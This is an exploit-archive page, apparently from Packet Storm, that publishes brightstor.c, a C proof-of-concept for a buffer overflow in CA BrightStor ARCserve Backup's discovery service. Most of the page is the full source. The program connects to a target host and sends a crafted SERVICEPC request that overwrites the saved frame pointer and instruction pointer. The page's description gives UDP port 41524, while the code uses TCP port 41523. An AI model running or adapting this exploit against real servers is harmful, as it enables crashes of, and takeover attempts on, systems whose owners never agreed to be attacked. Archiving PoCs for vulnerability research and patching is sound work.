what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

brightstor.c

brightstor.c
Posted Feb 18, 2005
Authored by Thor Doomen

The CA BrightStor ArcServe Discovery Service overflow exploit takes advantage of a vulnerability in the CA BrightStor Discovery Service which occurs when a large request is sent to UDP port 41524, triggering a stack overflow.

tags | exploit, overflow, udp
advisories | CVE-2005-0260
SHA-256 | 7d0b4a2e24e12ce44e33a8962a865ecfdab582d552df7e09621a2b9dfe423cca

brightstor.c

Change Mirror Download
 CA BrightStor ARCserve Backup SERVICEPC Buffer Overflow Exploit
Date : 11/02/2005

This is an unpatched vulnerability

/*
* BrightStor ARCserve Backup buffer overflow PoC
* cybertronic@gmx.net
*
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>

#define RED "\E[31m\E[1m"
#define GREEN "\E[32m\E[1m"
#define YELLOW "\E[33m\E[1m"
#define BLUE "\E[34m\E[1m"
#define NORMAL "\E[m"

#define PORT 41523

void
start ( int s )
{
char buffer[4096];

bzero ( &buffer, 4096 );
memset ( buffer, 0x41, 50 );
buffer[0] = 0x9b;
buffer[1] = 0x53; //S
buffer[2] = 0x45; //E
buffer[3] = 0x52; //R
buffer[4] = 0x56; //V
buffer[5] = 0x49; //I
buffer[6] = 0x43; //C
buffer[7] = 0x45; //E
buffer[8] = 0x50; //P
buffer[9] = 0x43; //C
buffer[17] = 0x18;
buffer[21] = 0xc0;
buffer[22] = 0xa8;
buffer[23] = 0x02;
buffer[24] = 0x67;
buffer[25] = 0x53; //S
buffer[26] = 0x45; //E
buffer[27] = 0x52; //R
buffer[28] = 0x56; //V
buffer[29] = 0x49; //I
buffer[30] = 0x43; //C
buffer[31] = 0x45; //E
buffer[32] = 0x50; //P
buffer[33] = 0x43; //C
buffer[41] = 0x01;
buffer[43] = 0x0c;
buffer[44] = 0x6c;
buffer[45] = 0x93;
buffer[46] = 0xce;
buffer[47] = 0x18;
buffer[48] = 0x18;
//ebp
buffer[49] = 0xbe;
buffer[50] = 0xba;
buffer[51] = 0xad;
buffer[52] = 0xde;
//eip
buffer[53] = 0xde;
buffer[54] = 0xc0;
buffer[55] = 0xad;
buffer[56] = 0xde;

printf ( "[*] Sending buffer [ %d bytes ]...", strlen ( buffer ) );
if ( write ( s, buffer, strlen ( buffer ) ) <= 0 )
{
printf ( RED "Send failed!\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL );
sleep ( 1 );
}

int
main ( int argc, char *argv[] )
{

int s;
struct hostent *he;
struct sockaddr_in addr;

if ( argc != 2 )
{
fprintf ( stderr,"Usage: %s hostname\n", argv[0] );
exit ( 1 );
}


printf ( "Resolving hostname..." );
if ( ( he = gethostbyname ( argv[1] ) ) == NULL )
{
printf ( RED "FAILED!\n" NORMAL );
exit ( 1 );
}
printf ( "OK!\n" );


if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
{
exit ( 1 );
}


addr.sin_family = AF_INET;
addr.sin_port = htons ( PORT );
addr.sin_addr = *( ( struct in_addr * ) he->h_addr );


printf ( "Connecting to %s...", argv[1] );
if ( connect ( s, ( struct sockaddr * ) &addr, sizeof ( struct
sockaddr ) )
== -1 )
{
printf ( RED "FAILED!\n" NORMAL );
exit ( 1 );
}
printf ( "OK!\n" );
start ( s );
close ( s );
return ( 0 );
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close